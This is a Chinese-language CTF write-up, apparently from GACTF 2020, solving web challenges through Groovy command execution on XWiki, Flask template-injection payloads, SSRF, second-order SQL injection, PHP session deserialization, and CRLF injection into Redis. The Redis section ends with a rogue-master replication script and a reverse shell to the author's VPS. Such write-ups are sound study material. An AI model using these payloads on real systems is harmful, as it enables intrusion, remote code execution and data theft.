题目很有意思,给星盟师傅跪了
XWiki 
XWiki CVE & groovy 交互
 
XWiki 11.10.1,搜索当前CVE,找到任意命令执行漏洞
https://jira.xwiki.org/browse/XWIKI-16960 
python被底层限制,但是groovy可以打 
1 2 3 4 5 r = Runtime.getRuntime() proc = r.exec('/readflag' ); BufferedReader  stdInput1  =  new  BufferedReader (new  InputStreamReader (proc.getInputStream()));String  s1  =  null ;while  ((s1 = stdInput1.readLine()) != null ) { print s1; }
一开读flag的时候就会卡死,后来一句句读了发现需要交互回答问题,没给问题个数,回答哪个数最大,0或者1,一开始我以为回答完就会给flag,结果手打了几十个 : )发现还没到尽头,而且回答的顺序是固定,那估计就是flag的bin值,写个脚本然后手动二分到464位结束,最后是Congratulations,然后把回答的01连起来就是flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 proc = Runtime.getRuntime().exec('/readflag' ); BufferedReader  br  =  new  BufferedReader (new  InputStreamReader (proc.getInputStream()));BufferedWriter  bw  =  new  BufferedWriter (new  OutputStreamWriter (proc.getOutputStream()));String  flag  =  '' String  s1  =  null ;for (int  i in 1. .2 ) { s1 = br.readLine();  println s1;  } for (int  i in 1. .464 ) { s1 = br.readLine();  res = s1[25. .-1 ].split(' : ' );  a = Integer.parseInt(res[0 ]);  b = Integer.parseInt(res[1 ]);  c = (a > b) ? 0  : 1 ;  flag += c  bw.write(c+"\n" );  bw.flush(); } s1 = br.readLine(); println s1 println flag 
simpleflask 
SSTI
 
过滤单引号、空格、加号、flag、eval、import,限制了文件名长度
这里直接贴payload
1 name={{{}.__class__.__bases__[0 ].__subclasses__()[127 ].__init__.__globals__["__builtins__" ]["open" ]("/FLAG" .swapcase()).read()}} 
EZFLASK 
SSTI & SSRF
 
提出给出源码,有用的只有eval
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from  flask import  Flask, requestimport  requestsfrom  waf import  *import  timeapp = Flask(__name__) @app.route('/ctfhint'  def  ctf ():    hint =xxxx      trick = xxxx      return  trick @app.route('/'  def  index ():     @app.route('/eval' , methods=["POST" ] def  my_eval ():     @app.route(xxxxxx, methods=["POST" ] )  def  admin ():     if  __name__ == '__main__' :    app.run(host='0.0.0.0' ,port=8080 ) 
ban了很多单双引号和小中大括号,以及多个关键字,但是留下了__globals__和func_globals,利用它爆出admin路径
1 2 3 4 POST /eval  eval =ctf.__globals__{'my_eval' : <function my_eval at 0x7f7469bf0dd0 >, 'app' : <Flask 'app_1' >, 'waf_eval' : <function waf_eval at 0x7f7469bf0c50 >, 'admin' : <function admin at 0x7f7469b3a650 >, 'index' : <function index at 0x7f7469bf0d50 >, 'waf_ip' : <function waf_ip at 0x7f7469bf0b50 >, '__builtins__' : <module '__builtin__'  (built-in )>, 'admin_route' : '/h4rdt0f1nd_9792uagcaca00qjaf' , '__file__' : 'app_1.py' , 'request' : <Request 'http://124.70.206.91:10001/eval'  [POST]>, '__package__' : None , 'Flask' : <class  'flask.app.Flask' >, 'ctf' : <function ctf at 0x7f7469bf0cd0 >, 'waf_path' : <function waf_path at 0x7f7469bf0bd0 >, 'time' : <module 'time'  from  '/usr/local/lib/python2.7/lib-dynload/time.so' >, '__name__' : '__main__' , 'requests' : <module 'requests'  from  '/usr/local/lib/python2.7/site-packages/requests/__init__.pyc' >, '__doc__' : None } 
admin是一个http请求,一看就是ssrf,fuzz了一下发现
waf_ip满足点分十进制(准确来讲是点分数字)ban: xxx.0.0.xxx、192.xxx.xxx.xx 
port是4位任意字符 
path是非数字字符 
 
这里卡了很久,队友@小喇叭发现127开头的地址就可以绕过内网地址,这就有意思了 : )
扫到5000端口有东西,是常见的列出全局变量的SSTI
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /h4rdt0f1nd_9792uagcaca00qjaf ip=127.1 .1 .1 &port=5000 &path= import  flaskfrom  xxxx import  flagapp = flask.Flask(__name__) app.config['FLAG' ] = flag @app.route('/'  def  index ():    return  open ('app.txt' ).read() @app.route('/<path:hack>'  def  hack (hack ):    return  flask.render_template_string(hack) if  __name__ == '__main__' :    app.run(host='0.0.0.0' ,port=5000 ) 
长度限制又过滤了config,这里可以直接把['co'+'nfig']写成['co''nfig']
1 2 3 POST /h4rdt0f1nd_9792uagcaca00qjaf ip=127.1 .1 .1 &port=5000 &path=%7B%7Burl_for.__globals__['current_app' ]['co' 'nfig' ]%7D%7D 
carefuleyes 
二次注入 & 反序列化
 
题目给了源码,直接给了一个反序列化的接口
主要代码有
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php require_once  "common.php" ;if  (isset ($req ['oldname' ]) && isset ($req ['newname' ])) {    $result  = $db ->query ("select * from `file` where `filename`='{$req['oldname']} '" );     if  ($result ->num_rows > 0 ) {         $result  = $result ->fetch_assoc ();         $info  = $db ->query ("select * from `file` where `filename`='{$result['filename']} '" );         $info  = $info ->fetch_assoc ();         echo  "oldfilename : " .$info ['filename' ]." will be changed." ;     } else  {         exit ("old file doesn't exists!" );     } } ... 
这个存在二次注入,通过union注入可以得到username和password
1 1 ' and 0 union select username,password,1,1,1 from user#.jpg 
这里是反序列化的类,拿到admin就能拿到flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 class  XCTFGG     private  $method ;     private  $args ;     public  function  __construct ($method , $args          $this ->method = $method ;         $this ->args = $args ;     }     function  login (         list ($username , $password ) = func_get_args ();         $username  = strtolower (trim (mysql_escape_string ($username )));         $password  = strtolower (trim (mysql_escape_string ($password )));         $sql  = sprintf ("SELECT * FROM user WHERE username='%s' AND password='%s'" , $username , $password );         global  $db ;         $obj  = $db ->query ($sql );         $obj  = $obj ->fetch_assoc ();         global  $FLAG ;         if  ( $obj  != false  && $obj ['privilege' ] == 'admin'   ) { 			die ($FLAG );         } else  { 			die ("Admin only!" );         }     }     function  __destruct (         @call_user_func_array (array ($this , $this ->method), $this ->args);     } } 
最终exp如下
1 2 3 4 5 6 7 8 9 10 11 POST  /upload.php?data=O%3A6%3A%22XCTFGG%22%3A2%3A%7Bs%3A14%3A%22%00XCTFGG%00method%22%3Bs%3A5%3A%22login%22%3Bs%3A12%3A%22%00XCTFGG%00args%22%3Ba%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A2%3A%22XM%22%3Bs%3A8%3A%22password%22%3Bs%3A9%3A%22qweqweqwe%22%3B%7D%7D  HTTP/1.1 Host :  124.71.191.175Content-Length :  343Content-Type :  multipart/form-data; boundary=----WebKitFormBoundaryVQBCUL5NvVhHTcjTContent-Disposition: form-data; name ="upfile"; filename="1' and 0 union select username,password,1,1,1 from user#.jpg" Content-Type : text /html xxx 
babyshop 
反混淆 & 任意文件读写 & sess 反序列化
 
.git源码泄露 但是被混淆了,代码不是很长,用xdebug慢慢调出来,这里贴一份@cjm00n人工解混淆的主要代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 <?php   class  造齿轮    protected  $storage ;     protected  $贡品;     protected  $sessionId ;     protected  $safeExt ;     public  function  __construct (      {        $this ->storage = "storage" ;         if  (!is_dir ($this ->storage)) mkdir ($this ->storage);         $this ->safeExt = array ("php" , "html" , "flag" , "htaccess" );     }     public  function  open ($货物, $食物 )      {        foreach  ($this ->safeExt as  $item ) {             if  (stripos ($_COOKIE [$食物], $item ) !== false ) {                 die ('invaild '  . $食物);                 return  false ;             }         }         $this ->sessionId = session_id ();         return  true ;     }     public  function  write ($货物, $食物 )      {        $this ->贡品 = $货物;         return  file_put_contents ($this ->storage . '/sess_'  . $货物, $食物) === false  ? false  : true ;     }     public  function  read ($货物 )      {        $this ->贡品 = $货物;         return  (string )@file_get_contents ($this ->storage . "/sess_"  . $货物);     }     public  function  writeNote ($content       {        if  (strlen ($this ->sessionId) <= 0 ) return ;         echo  getcwd ();         return  file_put_contents ($this ->storage . '/note_'  . $this ->sessionId, $content ) === false  ? false  : true ;     }     public  function  getNote (      {        return  (string )@file_get_contents ($this ->storage . '/note_'  . $this ->贡品);     }     public  function  思考($货物 )      {        $this ->贡品 = $货物;         if  (file_exists ($this ->storage . '/sess_'  . $货物)) {         unlink ($this ->storage . '/sess_'  . $货物);         }         return  true ;     }     public  function  destroy ($货物 )      {        foreach  (glob ($this ->storage . '/*' ) as  $元素) {         if  (filemtime ($元素) + $货物 < time () && file_exists ($元素)) {             unlink ($元素);             }         }         return  true ;     }     public  function  close (      {        return  true ;     }     public  function  __destruct (      {        $this ->writeNote ($this ->getNote ());     } } chdir ("D:\\CTF\\gactf2020\\babyshopsrc" );$齿轮 = new  造齿轮(); session_set_save_handler (array ($齿轮, 'open' ), array ($齿轮, 'close' ), array ($齿轮, 'read' ), array ($齿轮, 'write' ), array ($齿轮, 'destroy' ), array ($齿轮, 'close' ));session_start ();srand (mktime (0 , 0 , 0 , 0 , 0 , 0 ));$盛世 = array (1186989435  => array ("alice" , 0b1 ), 1847880546  => array ("bob" , 0b101 ), 444424444  => array ("cat" , 0b10100 ), 324870919  => array ("dog" , 0b1111 ), 94267937  => array ("evil" , 0b101 ), 1889069619  => array ("flag" , 0b10011100001111 )); function  取经(    global  $盛世;     $宝藏 = '[' ;     foreach  ($_SESSION ['items' ] as  $元素) $宝藏 .= $盛世[$元素][0 ] . ', ' ;     $宝藏 .= ']' ;     return  $宝藏; } function  念经(    global  $齿轮;     return  $齿轮->getNote (); } function  造世(    global  $盛世;     $宝藏 = '' ;     foreach  ($盛世 as  $按键 => $元素) $宝藏 .= '<div class="item"><form method="POST"><div class="form-group">'  . $元素[0 ] . '</div><div class="form-group"><input type="hidden" name="id" value="'  . $按键 . '"><button type="submit" class="btn btn-success">buy ($'  . $元素[1 ] . ')</button></div></form></div>' ;     return  $宝藏; } if  (!isset ($_SESSION ['balance' ])) $_SESSION ['balance' ] = 4466 ;if  (!isset ($_SESSION ['items' ])) $_SESSION ['items' ] = [];if  (!isset ($_SESSION ['note' ])) $_SESSION ['note' ] = '' ;if  (isset ($_POST ['id' ])) {    if  ($_SESSION ['balance' ] >= $盛世[$_POST ['id' ]][1 ]) {         $_SESSION ['balance' ] = $_SESSION ['balance' ] - $盛世[$_POST ['id' ]][1 ];         array_push (${'_SESSION' }['items' ], $_POST ['id' ]);         echo ('<span style="color:green">buy succ!</span>' );     } else  {         echo ('<span style="color:red">lack of balance!</span>' );     } } if  (isset ($_POST ['note' ])) {    if  (strlen ($_POST ['note' ]) <= 1024 ) {         $齿轮->writeNote (str_replace (array ('&' , '<' , '>' ), array ('&' , '<' , '>' ), $_POST ['note' ]));         echo ('<span style="color:green">write succ!</span>' );     } else  {         echo ('<span style="color:red">note too long!</span>' );     } }   ?> 
简单来说就是用户会先生成一个sess文件,买东西的时候会更新,笔记部分会生一个另外的note文件,作简单的标签过滤,因为这里的文件名都是拼接出来的,所以导致了我们任意读写文件和触发session发序列化,不过限制不能含有php、html、flag、htaccess,这里主要是通过覆写sess文件来进行session反序列化
这里给出一个买flag的过程,也就是我们覆写sess文件的过程
买flag流程: 
先注册个id:45fe489991ade97ddb812783a7d438f7 
写note:balance|i:9999;items|a:1:{i:0;s:10:”1186989435”;}note|s:0:””; 
修改id:/../note_45fe489991ade97ddb812783a7d438f7 
就可以买flag了 
 
然后可以看到在造齿轮 类的__destruct可以任意读写文件
贴上我们的payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php ini_set ('session.serialize_handler' , 'php' );session_start ();class  造齿轮 	protected  $朝拜圣地 = "storage" ; 	protected  $贡品 = "1/../../../../../flag" ; 	protected  $圣殿 = "1/../tyao" ; 	protected  $禁地; } $o  = new  造齿轮();$_SESSION ['balance' ] = 9999 ;$_SESSION ['items' ] = [];array_push ($_SESSION ['items' ], $o );
然后去把自己sess文件拿出来,重复上述买flag的部分,访问storage/tyao即可看到flag
1 balance%7 Ci%3 A9999%3 Bitems%7 Ca%3 A1%3 A%7 Bi%3 A0%3 BO%3 A9%3 A%22 %E9%80 %A0%E9%BD%BF%E8%BD%AE%22 %3 A4%3 A%7 Bs%3 A15%3 A%22 %00 %2 A%00 %E6%9 C%9 D%E6%8 B%9 C%E5%9 C%A3%E5%9 C%B0%22 %3 Bs%3 A7%3 A%22 storage%22 %3 Bs%3 A9%3 A%22 %00 %2 A%00 %E8%B4%A1%E5%93 %81 %22 %3 Bs%3 A21%3 A%221 /../../../../../flag%22 %3 Bs%3 A9%3 A%22 %00 %2 A%00 %E5%9 C%A3%E6%AE%BF%22 %3 Bs%3 A9%3 A%221 /../tyao%22 %3 Bs%3 A9%3 A%22 %00 %2 A%00 %E7%A6%81 %E5%9 C%B0%22 %3 BN%3 B%7 D%7 D 
sssrfme 
SSRF + Python CRLF
 
题目源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 <?php function  safe_url ($url ,$safe     $parsed  = parse_url ($url );     $validate_ip  = true ;     if ($parsed ['port' ]  && !in_array ($parsed ['port' ],array ('80' ,'443' ))){         echo  "<b>请求错误:非正常端口,因安全问题只允许抓取80,443端口的链接,如有特殊需求请自行修改程序</b>" .PHP_EOL;                  return  false ;     }else {         preg_match ('/^\d+$/' , $parsed ['host' ]) && $parsed ['host' ] = long2ip ($parsed ['host' ]);         $long  = ip2long ($parsed ['host' ]);         if ($long ===false ){             $ip  = null ;             if ($safe ){                 @putenv ('RES_OPTIONS=retrans:1 retry:1 timeout:1 attempts:1' );                 $ip    = gethostbyname ($parsed ['host' ]);                 $long  = ip2long ($ip );                 $long ===false  && $ip  = null ;                 @putenv ('RES_OPTIONS' );             }         }else {             $ip  = $parsed ['host' ];         }         $ip  && $validate_ip  = filter_var ($ip , FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE);     }     if (!in_array ($parsed ['scheme' ],array ('http' ,'https' )) || !$validate_ip ){         echo  "<b>{$url}  请求错误:非正常URL格式,因安全问题只允许抓取 http:// 或 https:// 开头的链接或公有IP地址</b>" .PHP_EOL;                  return  false ;     }else {         return  $url ;     } } function  curl ($url     $safe  = false ;     if (safe_url ($url ,$safe )) {         $ch  = curl_init ();         curl_setopt ($ch , CURLOPT_URL, $url );         curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 );         curl_setopt ($ch , CURLOPT_HEADER, 0 );         curl_setopt ($ch , CURLOPT_SSL_VERIFYPEER, false );         curl_setopt ($ch , CURLOPT_SSL_VERIFYHOST, false );         $co  = curl_exec ($ch );         curl_close ($ch );         echo  $co ;     } } highlight_file (__FILE__ );curl ($_GET ['url' ]);
用到的是php中parse_url和cURL的差异性,然后想办法通过CRLF打Redis
去bugs.php.net搜只搜到这篇与它相关
https://bugs.php.net/bug.php?id=77991 
内网地址可以这么绕过
1 ?url=http://foo@127.0.0.1:6379%20@www.baidu.com/ 
下一步应该就是用https协议的CRLF打Redis,但是打不出来
赛后更新
 
原来5000端口有东西,是个套娃提 : >
1 2 hello,world hint: 这是个套娃. http://localhost:5000/?url=https://baidu.com 
访问一下可以直接到baidu.com
1 ?url=http://foo@127.0.0.1:5000%20@www.baidu.com/%3Furl=https://baidu.com 
5000端口猜测是Flask服务,从消息头可以看出用的是Python-urllib/3.7,这个库爆出过CRLF,刚好可以用来打Redis
这里有个trick就是,怎么判断Redis命令是否执行成功,这里用到了SLAVEOF命令,可以向外网发送PING数据
认证直接使用AUTH pwd接口,经过爆破可以知道弱口令123456
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import  urllib.parseimport  requests as  rqtarget= "http://45.77.217.198:10801"  payload = ''' HTTP/1.1  auth 123456 slaveof %s 9999 foo: '''  % "xxx.xxx.xxx.xxx" payload = urllib.parse.quote(payload).replace("%0A" , "%0D%0A" ) payload = "?url=http://127.0.0.1:6379/"  + payload payload = urllib.parse.quote(payload) payload = "?url=http://foo@127.0.0.1:5000%20@www.baidu.com/"  + payload print (payload)res = rq.get(target + payload) print (res.text)
然后最后getshell是用到一个主从复制,参考以下链接
https://github.com/vulhub/redis-rogue-getshell 
编译exp
创建rogue.py如下,服务器运行监听
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import  osimport  sysimport  argparseimport  socketserverimport  loggingimport  socketimport  timelogging.basicConfig(stream=sys.stdout, level=logging.INFO, format ='>> %(message)s' ) DELIMITER = b"\r\n"  class  RoguoHandler (socketserver.BaseRequestHandler):    def  decode (self, data ):         if  data.startswith(b'*' ):             return  data.strip().split(DELIMITER)[2 ::2 ]         if  data.startswith(b'$' ):             return  data.split(DELIMITER, 2 )[1 ]         return  data.strip().split()     def  handle (self ):         while  True :             data = self.request.recv(1024 )             logging.info("receive data: %r" , data)             arr = self.decode(data)             if  arr[0 ].startswith(b'PING' ):                 self.request.sendall(b'+PONG'  + DELIMITER)             elif  arr[0 ].startswith(b'REPLCONF' ):                 self.request.sendall(b'+OK'  + DELIMITER)             elif  arr[0 ].startswith(b'PSYNC' ) or  arr[0 ].startswith(b'SYNC' ):                 self.request.sendall(b'+FULLRESYNC '  + b'Z'  * 40  + b' 1'  + DELIMITER)                 self.request.sendall(b'$'  + str (len (self.server.payload)).encode() + DELIMITER)                 self.request.sendall(self.server.payload + DELIMITER)                 break          self.finish()     def  finish (self ):         self.request.close() class  RoguoServer (socketserver.TCPServer):    allow_reuse_address = True      def  __init__ (self, server_address, payload ):         super (RoguoServer, self).__init__(server_address, RoguoHandler, True )         self.payload = payload with  open ("exp.so" , 'rb' ) as  f:    server = RoguoServer(('0.0.0.0' , 1088 ), f.read())     server.handle_request() 
但是在Redis中,为了防止http协议对Redis端口的攻击,它如果检测到”POST”或者”Host:”,就会中断这次连接,并且在日志中留下这行,我们可以通过添加%00绕过
但是Redis是一边判断一边逐行执行,所以只要在读到”Host:”之前把需要的操作做完即可,所以不加也没关系(
所以最终exp为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import  urllib.parseimport  requests as  rqtarget = "http://45.77.217.198:10802"  vps = "167.179.94.19"  payload1 = f''' HTTP/1.1  AUTH 123456 slaveof {vps}  1089 config set dbfilename exp.so foo: ''' payload2 = f''' HTTP/1.1  AUTH 123456 module load ./exp.so slaveof no one config set dbfilename dump.rdb system.rev {vps}  4444 foo: ''' def  exp (payload ):	payload = urllib.parse.quote(payload).replace("%0A" , "%0D%0A" ) 	payload = "?url=http://127.0.0.1:6379/"  + payload 	payload = urllib.parse.quote(payload) 	payload = "?url=http://foo@127.0.0.1:5000%20@www.baidu.com/"  + payload 	print (payload) 	res = rq.get(target + payload) 	print (res.text) exp(payload1) exp(payload2)